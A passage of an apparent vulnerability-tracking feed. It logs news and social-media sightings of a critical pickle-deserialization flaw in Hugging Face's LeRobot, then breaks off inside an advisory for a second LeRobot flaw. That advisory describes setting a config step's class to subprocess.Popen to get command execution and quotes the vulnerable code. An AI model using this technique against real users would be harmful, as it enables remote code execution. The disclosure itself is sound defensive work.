\u0444\u043e\u0440\u043c\u0430\u0442 \u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u044b\u0439 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0442\u043e\u043c\u0443, \u0447\u0442\u043e pickle \u043e\u043f\u0430\u0441\u0435\u043d \u0434\u043b\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u044f.\n\n\u0418 \u0442\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435, \u0438\u0445 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u0440\u043e\u0431\u043e\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u0432\u0445\u043e\u0434\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e pickle.loads().", "url": "https://t.me/true_secator/8154"}, {"timestamp": "2026-04-28T17:07:53Z", "date_only": false, "value": "2026-04-28T17:07:53.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/S_E_Reborn/6330", "record": "CVE-2026-25874", "field": "creation_timestamp", "uuid": "9d6d52c6-3f2a-43d2-8730-49521386ed82", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0438 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0435\u0439\u00a0LeRobot, \u043e\u0442\u043a\u0440\u044b\u0442\u0443\u044e \u0440\u043e\u0431\u043e\u0442\u043e\u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0443 \u043e\u0442 Hugging Face, \n\u0438\u043c\u0435\u044e\u0449\u0443\u044e \u043f\u043e\u0447\u0442\u0438 24 000 \u0437\u0432\u0435\u0437\u0434 \u043d\u0430 GitHub, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f RCE.\n\n\u0420\u0435\u0447\u044c \u0438\u0434\u0451\u0442 \u043e\u00a0CVE-2026-25874\u00a0(CVSS: 9,3), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043d\u0435\u043d\u0430\u0434\u0451\u0436\u043d\u043e\u0439 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u0432\u044b\u0437\u0432\u0430\u043d\u043d\u044b\u0439 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0433\u043e \u0444\u043e\u0440\u043c\u0430\u0442\u0430 pickle.\n\n\u041a\u0430\u043a \u043e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, LeRobot \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0435\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0432 \u0430\u0441\u0438\u043d\u0445\u0440\u043e\u043d\u043d\u043e\u043c \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440\u0435 \u0432\u044b\u0432\u043e\u0434\u0430, \u0433\u0434\u0435 pickle.loads() \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0445 \u043f\u043e \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043a\u0430\u043d\u0430\u043b\u0430\u043c gRPC \u0431\u0435\u0437 TLS \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043f\u043e\u043b\u0438\u0442\u0438\u043a \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0440\u043e\u0431\u043e\u0442\u0430.\n\n\u041d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a, \u0438\u043c\u0435\u044e\u0449\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u0442\u0438, \u043c\u043e\u0436\u0435\u0442 \u0434\u043e\u0431\u0438\u0442\u044c\u0441\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0438\u043b\u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u0435, \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0432 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u043f\u043e\u043b\u0435\u0437\u043d\u0443\u044e \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443 pickle \u0447\u0435\u0440\u0435\u0437 \u0432\u044b\u0437\u043e\u0432\u044b gRPC SendPolicyInstructions, SendObservations \u0438\u043b\u0438 GetActions.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Resecurity, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442 PolicyServer, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0449\u0438\u0439 \u0430\u0441\u0438\u043d\u0445\u0440\u043e\u043d\u043d\u044b\u0439 \u0432\u044b\u0432\u043e\u0434 \u043a\u043e\u043c\u0430\u043d\u0434, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443, \u0438\u043c\u0435\u044e\u0449\u0435\u043c\u0443 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0441\u0435\u0442\u0435\u0432\u043e\u043c\u0443 \u043f\u043e\u0440\u0442\u0443 PolicyServer, \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u0443\u044e \u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u043f\u043e\u043b\u0435\u0437\u043d\u0443\u044e \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u043d\u0430 \u0445\u043e\u0441\u0442-\u043c\u0430\u0448\u0438\u043d\u0435, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u0430\u043f\u0443\u0449\u0435\u043d\u0430 \u044d\u0442\u0430 \u0441\u043b\u0443\u0436\u0431\u0430.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u0438\u0437\u0443\u044e\u0442 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u0430\u043a \u00ab\u043e\u043f\u0430\u0441\u043d\u0443\u044e\u00bb, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0441\u0435\u0440\u0432\u0438\u0441 \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d \u0434\u043b\u044f \u0441\u0438\u0441\u0442\u0435\u043c \u0432\u044b\u0432\u043e\u0434\u0430 \u0418\u0418, \u043a\u043e\u0442\u043e\u0440\u044b\u0435, \u043a\u0430\u043a \u043f\u0440\u0430\u0432\u0438\u043b\u043e, \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u043c \u0441\u0435\u0442\u044f\u043c, \u043d\u0430\u0431\u043e\u0440\u0430\u043c \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u0434\u043e\u0440\u043e\u0433\u043e\u0441\u0442\u043e\u044f\u0449\u0438\u043c \u0432\u044b\u0447\u0438\u0441\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u043c \u0440\u0435\u0441\u0443\u0440\u0441\u0430\u043c.\n\n\u0412 \u0441\u043b\u0443\u0447\u0430\u0435 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441\u043c\u043e\u0436\u0435\u0442 \u0441\u043e\u0432\u0435\u0440\u0448\u0438\u0442\u044c \u0448\u0438\u0440\u043e\u043a\u0438\u0439 \u0441\u043f\u0435\u043a\u0442\u0440 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f: RCE, \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u044e \u0445\u043e\u0441\u0442\u0430 PolicyServer, \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u0445 \u0440\u043e\u0431\u043e\u0442\u043e\u0432, \u043a\u0440\u0430\u0436\u0443 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 (\u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u043b\u044e\u0447\u0438 API, \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 SSH \u0438 \u0444\u0430\u0439\u043b\u044b \u043c\u043e\u0434\u0435\u043b\u0435\u0439), \u0433\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u0435, DoS \u0432 \u0440\u0430\u0431\u043e\u0442\u0435 \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u0432, \u0438\u0441\u043a\u0430\u0436\u0435\u043d\u0438\u0435 \u043c\u043e\u0434\u0435\u043b\u0435\u0439 \u0438\u043b\u0438 \u0443\u0433\u0440\u043e\u0437\u044b \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438.\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0448\u0438\u0439 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c VulnCheck \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u043e\u0431 \u044d\u0442\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\u00a0\u043d\u0430 \u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0435, \u0437\u0430\u044f\u0432\u043b\u044f\u044f, \u0447\u0442\u043e \u043e\u043d\u0430 \u0431\u044b\u043b\u0430 \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0430\u043f\u0440\u043e\u0431\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u043d\u0430 LeRobot 0.4.3.\n\n\u0412 \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0435 \u0432\u0440\u0435\u043c\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043e\u0441\u0442\u0430\u0435\u0442\u0441\u044f \u043d\u0435\u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u043e\u0439, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0437\u0430\u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043e \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0432\u0435\u0440\u0441\u0438\u0438 0.6.0.\n\n\u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e, \u0447\u0442\u043e \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0439 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u043a \u0431\u044b\u043b \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e \u0431\u044b\u043b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d \u0442\u0430\u043a\u0436\u0435 \u0438 \u0434\u0440\u0443\u0433\u0438\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c chenpinji, \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0432 \u0434\u0435\u043a\u0430\u0431\u0440\u0435 2025 \u0433\u043e\u0434\u0430. \n\n\u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 LeRobot \u043e\u0442\u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u044f\u043d\u0432\u0430\u0440\u044f, \u043f\u0440\u0438\u0437\u043d\u0430\u0432 \u0440\u0438\u0441\u043a \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u043e\u0442\u043c\u0435\u0442\u0438\u0432, \u0447\u0442\u043e \u00ab\u044d\u0442\u0430 \u0447\u0430\u0441\u0442\u044c \u043a\u043e\u0434\u0430 \u043d\u0443\u0436\u0434\u0430\u0435\u0442\u0441\u044f \u0432 \u043f\u043e\u0447\u0442\u0438 \u043f\u043e\u043b\u043d\u043e\u0439 \u043f\u0435\u0440\u0435\u0440\u0430\u0431\u043e\u0442\u043a\u0435, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0435\u0435 \u043f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u0430\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0431\u044b\u043b\u0430 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u043e\u0439\u00bb.\n\n\u041a\u0430\u043a \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f, LeRobot \u0434\u043e \u0441\u0438\u0445 \u043f\u043e\u0440 \u0431\u044b\u043b \u0432 \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u043c \u0434\u043b\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439 \u0438 \u043f\u0440\u043e\u0442\u043e\u0442\u0438\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0432\u043e\u043f\u0440\u043e\u0441\u0430\u043c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u0440\u0438 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u0438 \u0434\u043e \u043d\u0430\u0441\u0442\u043e\u044f\u0449\u0435\u0433\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u043d\u0435 \u0443\u0434\u0435\u043b\u044f\u043b\u043e\u0441\u044c \u043e\u0441\u043e\u0431\u043e\u0433\u043e \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f.\n\n\u041f\u043e \u043c\u0435\u0440\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a LeRobot \u0431\u0443\u0434\u0435\u0442 \u0432\u043d\u0435\u0434\u0440\u044f\u0442\u044c\u0441\u044f \u0438 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u0442\u044c\u0441\u044f \u0432 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0439 \u0441\u0440\u0435\u0434\u0435, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0437\u0430\u0432\u0435\u0440\u044f\u044e\u0442, \u0447\u0442\u043e \u0431\u0443\u0434\u0443\u0442 \u0443\u0434\u0435\u043b\u044f\u0442\u044c \u0433\u043e\u0440\u0430\u0437\u0434\u043e \u0431\u043e\u043b\u044c\u0448\u0435 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f \u043f\u043e\u0434\u043e\u0431\u043d\u044b\u043c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u043c. \u041a \u0441\u0447\u0430\u0441\u0442\u044c\u044e, \u0431\u0443\u0434\u0443\u0447\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u043c \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c, \u0441\u043e\u043e\u0431\u0449\u0435\u0441\u0442\u0432\u043e \u0442\u0430\u043a\u0436\u0435 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u043c\u043e\u0447\u044c \u0432 \u044d\u0442\u043e\u043c \u0432\u043e\u043f\u0440\u043e\u0441\u0435.\n\n\u041f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u044b \u0435\u0449\u0435 \u0440\u0430\u0437 \u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u0443\u044e\u0442 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0444\u043e\u0440\u043c\u0430\u0442\u0430 pickle, \u043f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u043e\u043d \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u043f\u0443\u0442\u044c \u0434\u043b\u044f \u0430\u0442\u0430\u043a \u0441 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u0434\u0430 \u043f\u0443\u0442\u0435\u043c \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430.\n\n\u0418\u0440\u043e\u043d\u0438\u044f \u0432 \u0442\u043e\u043c, \u0447\u0442\u043e Hugging Face \u0441\u043e\u0437\u0434\u0430\u043b\u0430 Safetensors - \u0444\u043e\u0440\u043c\u0430\u0442 \u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0430\u043d\u043d\u044b\u0439 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0442\u043e\u043c\u0443, \u0447\u0442\u043e pickle \u043e\u043f\u0430\u0441\u0435\u043d \u0434\u043b\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u043e\u0431\u0443\u0447\u0435\u043d\u0438\u044f.\n\n\u0418 \u0442\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435, \u0438\u0445 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u0440\u043e\u0431\u043e\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 \u0434\u0435\u0441\u0435\u0440\u0438\u0430\u043b\u0438\u0437\u0443\u0435\u0442 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c\u044b\u0435 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u0432\u0445\u043e\u0434\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e pickle.loads().", "url": "https://t.me/S_E_Reborn/6330"}, {"timestamp": "2026-04-28T17:31:49Z", "date_only": false, "value": "2026-04-28T17:31:49.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/KXM5_vCE_hXRAz1Iv3WWy7E4Qq8kw-0Wc08nVWUsif5X_A", "record": "CVE-2026-25874", "field": "creation_timestamp", "uuid": "d00f2f00-4f2d-4eac-887c-0631750d8e43", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-04-28T20:05:54.333Z", "date_only": false, "value": "2026-04-28T20:05:54.333329Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/theitnerd.ca/post/3mklf34sr3725", "record": "CVE-2026-25874", "field": "creation_timestamp", "uuid": "06b66290-b54d-4ab8-acb3-ccfcb325ad13", "url": "https://bsky.app/profile/theitnerd.ca/post/3mklf34sr3725"}, {"timestamp": "2026-04-28T21:36:01Z", "date_only": false, "value": "2026-04-28T21:36:01Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-F7VJ-73PM-M822", "record": "GHSA-F7VJ-73PM-M822", "field": "modified", "linked_record": true}, {"timestamp": "2026-04-29T05:37:07.997Z", "date_only": false, "value": "2026-04-29T05:37:07.997602Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mkmeykdsov25", "record": "cve-2026-25874", "field": "creation_timestamp", "uuid": "b1296c60-64ea-43ce-8fed-bc3eaba3bada", "url": "https://bsky.app/profile/cyberhub.blog/post/3mkmeykdsov25"}, {"timestamp": "2026-04-29T15:30:13.968Z", "date_only": false, "value": "2026-04-29T15:30:13.968468Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mkng53df7m2n", "record": "CVE-2026-25874", "field": "creation_timestamp", "uuid": "6e3f1296-e059-4659-be36-6eecd17427ac", "content": "Critical flaw in Hugging Face's LeRobot (CVE-2026-25874) allows unauthenticated remote code execution. Users urged to implement mitigations and await patch in version 0.6.0. #CyberSecurity #LeRobot #RCE Link: thedailytechfeed.com/critical-hug...", "url": "https://bsky.app/profile/thedailytechfeed.com/post/3mkng53df7m2n"}, {"timestamp": "2026-04-30T17:06:16.358Z", "date_only": false, "value": "2026-04-30T17:06:16.358659Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mkq3xpztnf2c", "record": "CVE-2026-25874", "field": "creation_timestamp", "uuid": "e0151767-d94d-4d9e-b26d-da8715c1416b", "content": "Critical RCE vulnerability (CVE-2026-25874) found in Hugging Face's LeRobot framework. Immediate action required to secure AI systems. #CyberSecurity #AI #MachineLearning #LeRobot #HuggingFace Link: thedailytechfeed.com/critical-fla...", "url": "https://bsky.app/profile/thedailytechfeed.com/post/3mkq3xpztnf2c"}, {"timestamp": "2026-08-06T00:40:02.351Z", "date_only": false, "value": "2026-08-06T00:40:02.351242Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/alejandxr.bsky.social/post/3mseskhaiqe2m", "record": "CVE-2026-25874", "field": "creation_timestamp", "uuid": "b173cc32-9f81-407a-9044-0236eb4cc769", "content": "CVE-2026-25874 in Hugging Face LeRobot hits CVSS 9.8 \u2014 unauthenticated RCE on a framework people spin up locally to prototype AI-powered robots, then leave running.\n\nAI infra has the same exposure surface as any other web service. It just gets less scrutiny.", "url": "https://bsky.app/profile/alejandxr.bsky.social/post/3mseskhaiqe2m"}, {"timestamp": "2026-10-22T20:26:49Z", "date_only": false, "value": "2026-10-22T20:26:49.000000Z", "kind": "sighting", "label": "Seen", "source": "https://gist.github.com/mtholmquist/eba1cba80ea66997b8f7e6a839e49120", "record": "CVE-2026-25874", "field": "creation_timestamp", "uuid": "e845ad6e-da6c-4bc5-a5fb-ea478052212a", "content": "# CVE-2026-115533: Remote Code Execution in Hugging Face LeRobot via Unsafe Class Import in DataProcessorPipeline\n\n| | |\n| --- | --- |\n| **CVE ID** | CVE-2026-115533 |\n| **Vendor / Package** | Hugging Face / lerobot (PyPI `lerobot`, GitHub `huggingface/lerobot`) |\n| **Severity** | High |\n| **CVSS 3.1** | 8.8 \u2014 `AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H` |\n| **CWE** | CWE-502 (Deserialization of Untrusted Data), CWE-94 (Code Injection) |\n| **Affected versions** | `>= 0.4.0` through `0.6.1` (latest release) and `main` HEAD |\n| **Fixed version** | None as of 2026-10-22 |\n| **Reporter** | Michael Holmquist ([@mtholmquist](https://github.com/mtholmquist)) |\n| **Coordinated by** | CERT/CC \u2014 VU#329939 |\n\n## Summary\n\nLeRobot's `DataProcessorPipeline` loads processor configurations (`policy_preprocessor.json` / `policy_postprocessor.json`) from Hugging Face Hub model repositories via the standard `from_pretrained()` API. Each step entry's `\"class\"` field is resolved through `importlib.import_module()` and `getattr()` with no allowlist, then instantiated with attacker-controlled keyword arguments. An attacker who publishes a malicious Hub repository can set `\"class\": \"subprocess.Popen\"` (or any other callable) and achieve arbitrary command execution in the victim's process the moment the policy is loaded. No `trust_remote_code` flag, opt-in, or non-default configuration is required.\n\n## Root Cause\n\nIn `src/lerobot/processor/pipeline.py`, the `_resolve_step_class` function has a dynamic-import fallback for step entries that carry a `\"class\"` key instead of a registry name:\n\n```python\n# _resolve_step_class \u2014 dynamic import fallback (no allowlist)\nmodule_path, class_name = full_class_path.rsplit(\".\", 1)\nmodule = importlib.import_module(module_path)    # line 1193 on main HEAD 2026-10-06\nstep_class = getattr(module, class_name)          # line 